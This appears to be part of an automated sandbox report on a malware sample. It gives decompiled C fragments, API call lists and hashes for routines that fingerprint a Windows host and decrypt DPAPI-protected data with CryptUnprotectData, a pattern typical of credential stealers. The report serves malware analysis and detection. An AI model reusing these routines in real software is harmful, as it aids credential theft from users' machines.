CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 005879F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0058956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00587A3B
CryptStringToBinaryA.CRYPT32(0058956D,00000000), ref: 00587A46
lstrcat.KERNEL32(?,0041401A), ref: 00587B09
lstrcat.KERNEL32(?,0041401A), ref: 00587B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 00587B3E

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: 40c33ed55598f8f181bc2f7a1b05fcad847c08c38fdce2b7f8045a88384bfac1
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: AD414D7490421E9FCB10DF94CD89BEEBBB8BF88704F1085A9E505A7280D7749A94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,006122D0), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00584A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00584ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00584AF6

Strings

UNK, xrefs: 00584B0A

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: f29db26d95dc3b3f07ec060bb8f09a5cfff7488c1b9144cb69a5883d0c4890fd
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: 790196F2A40208B7EB10EB90CC46FDA376CBB44701F104594FB04AA1C1D7F0EB448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00587760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00587784
LocalAlloc.KERNEL32(00000040,00000000), ref: 005877A3
LocalFree.KERNEL32(?), ref: 005877CF

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: cba17ac9a69032a00d86ffc03bf292b00f0bce9bc6277e13cb3f5c0d6cd8bf61
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: 7E11A8B8A01209DFCB04DF94C984AAE77B5FF88300F108558F915A7390D734AE51CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00586CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00586CF6
Sleep.KERNEL32(00002710), ref: 00586D04
GetTickCount.KERNEL32 ref: 00586D0A

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 154062e8cccd6ff34122eece553dd27d2fdeb74cd9efc68e3bd24d61c92c2dd5
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: DBE0E635A4A109DFD700BFB4EE0D4AC7FB4FF04342F1089B59C05A7250EA7459549B57

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 005873E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0058B8F0: GetProcessHeap.KERNEL32(00000008,b6Y,?,0058B7ED,b6Y,00000009,?,00593662,00000009), ref: 0058B8F9
Part of subcall function 0058B8F0: RtlAllocateHeap.NTDLL(00000000,?,0058B7ED), ref: 0058B900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00587433

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 70602493d2af59aedbd3980809feaf1d629ae2fd63b3cfa368ce9e5e0007a9ea
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 9911F9B5D0420EDFCF00EFA9C885AAEBBB9BF48304F248555E915AB311D734AA41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 122.8, APIs: 64, Strings: 6, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,005FEC80), ref: 00405705
lstrcat.KERNEL32(?,005FE518), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,005FEC90), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,00615558), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,006168D8), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(Xja,00616A58), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(Xja,00616A70), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(Xja,00615578), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(006154F8,006154F8), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(00616908,00616908), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(006169F8,006169F8), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,006125D0,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,006191A8,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(00616800,00616800), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(005F70A8,005F70A8), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,0061AE20,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,00619918,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(005F70B8,005F70B8), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(00600900,00600900), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(Xja,006167E8), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(006153F8,006153F8), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(00616A88,00616A88), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(006168C0,006168C0), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(00616AA0,00616AA0), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(00616980,00616980), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,00617800,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,00619798,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(00600910,00600910), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(00615798,00615798), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,0061AEC0,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

pja, xrefs: 004057D4
Xja, xrefs: 004057AB, 004057DB, 0040580B, 0040595B, 004057AE, 004057DE, 0040580E, 0040595E
Xja, xrefs: 004057A5
xUa, xrefs: 00405804
ga, xrefs: 00405954
XUa, xrefs: 0040574B

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: XUa$Xja$Xja$pja$xUa$ga
API String ID: 1685704716-3819994624
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00585930, Relevance: 121.1, APIs: 64, Strings: 5, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058593B
RtlAllocateHeap.NTDLL(00000000), ref: 00585942
lstrcat.KERNEL32(?,0041A6E4), ref: 00585955
lstrcat.KERNEL32(?,0041A22C), ref: 00585966
lstrcat.KERNEL32(?,00418BC0), ref: 00585975
lstrcat.KERNEL32(?,0041A6C4), ref: 00585986
